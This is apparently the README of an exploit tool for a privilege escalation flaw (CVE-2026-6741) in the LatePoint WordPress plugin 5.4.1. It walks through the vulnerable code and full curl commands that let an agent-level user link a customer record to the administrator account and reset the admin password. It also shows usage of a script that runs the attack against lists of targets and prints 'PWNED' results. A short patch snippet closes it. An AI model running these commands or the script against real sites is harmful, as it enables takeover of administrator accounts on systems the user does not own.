// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← only control: this capability
}

// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent has this capability
        ...
    ];
}

// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Only checks if the user exists
        // MISSING: No role check on the target user
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← link to any WP user
    $customer->save();

    return $this->serialize_customer( ... );
}

// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id is now admin ID → admin password changes
    }
}

// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Only checks the CALLER's capability
    // Does NOT check the TARGET user's role
}

latepoint_agent account
        │
        ▼
1. Login as Agent to WP → get REST nonce
        │
        ▼
2. Identify target admin WordPress user ID
   (wp-json/wp/v2/users or ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → No role check → Successful
        │
        ▼
4. LatePoint forgot_password → reset token sent to customer email
        │
        ▼
5. change_password with token → calls update_password()
   → wp_set_password("Hacked!", 1)
   → Admin password changed
        │
        ▼
6. Login as admin with new password → Full site control ✓

WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Cookie-based login
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# Get REST nonce
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

# List admin users via REST API
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # Usually ID=1

CUSTOMER_ID=5   # Your controlled LatePoint customer ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

RESET_TOKEN="<token_from_email>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# Access wp-admin
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Expected: 200 OK (not redirected to wp-login.php)

# Verify role via REST API
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Expected: "roles": ["administrator"]

git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt

requests

python latepoint_privesc.py -u http://target.com \
  --agent-user agent1 --agent-pass Pass123!

python latepoint_privesc.py -u http://target.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected]

python latepoint_privesc.py -u http://target.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected] \
  --reset-token abc123xyz \
  --new-password Hacked_2026!

python latepoint_privesc.py -l targets.txt -t 10 \
  --agent-user agent1 --agent-pass Pass123! \
  -o results.txt

python latepoint_privesc.py -u http://target.com \
  --agent-user agent1 --agent-pass Pass123! \
  --proxy http://127.0.0.1:8080

[*] Target        : http://target.com
[*] Agent         : agent1
[*] Admin ID      : auto-detect
[*] Customer ID   : auto-detect
[*] Reset Token   : waiting for email
[*] New Password  : Pwned_CVE2026_6741!

[→] http://target.com  Step 1/6: Agent login...
[→] http://target.com  Step 2/6: Admin user ID detection...
[→] http://target.com  Step 3/6: Customer ID detection...
[→] http://target.com  Step 4/6: Linking Customer #5 → Admin #1...
[→] http://target.com  Step 5/6: Initiating password reset...
[→] http://target.com  Step 6/6: Changing password (manual token)...

════════════════════════════════════════════════════════════
[★ PWNED     ] http://target.com
  Version     : 5.4.1
  Admin ID    : 1
  Customer    : #5 <[email protected]>
  User        : admin  roles=['administrator']
════════════════════════════════════════════════════════════

[+] Saved → privesc_results.txt

┌─────────────────────────────────────────────────────────┐
│  PHASE 1 — Link + Send Reset Email                     │
│                                                         │
│  python latepoint_privesc.py -u http://target.com \     │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected]   │
│                                                         │
│  → Output: "Reset email sent — waiting for token"      │
└─────────────────────────┬───────────────────────────────┘
                           │
                  Get token from email
                           │
┌─────────────────────────▼───────────────────────────────┐
│  PHASE 2 — Change Password with Token                  │
│                                                         │
│  python latepoint_privesc.py -u http://target.com \     │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected] \ │
│    --reset-token abc123xyz \                            │
│    --new-password Hacked_2026!                          │
│                                                         │
│  → Output: ★ PWNED — roles=['administrator']           │
└─────────────────────────────────────────────────────────┘

// Unsafe (current — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
    return new WP_Error( 'wp_user_not_found', ... );
}

// Safe (recommended — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
    return new WP_Error( 'wp_user_not_found', ... );
}
// Check target user's role
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
    return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}

cve-2026-6741-scanner/
├── latepoint_privesc.py   # Main scanner
├── requirements.txt       # Dependencies
└── README.md              # This file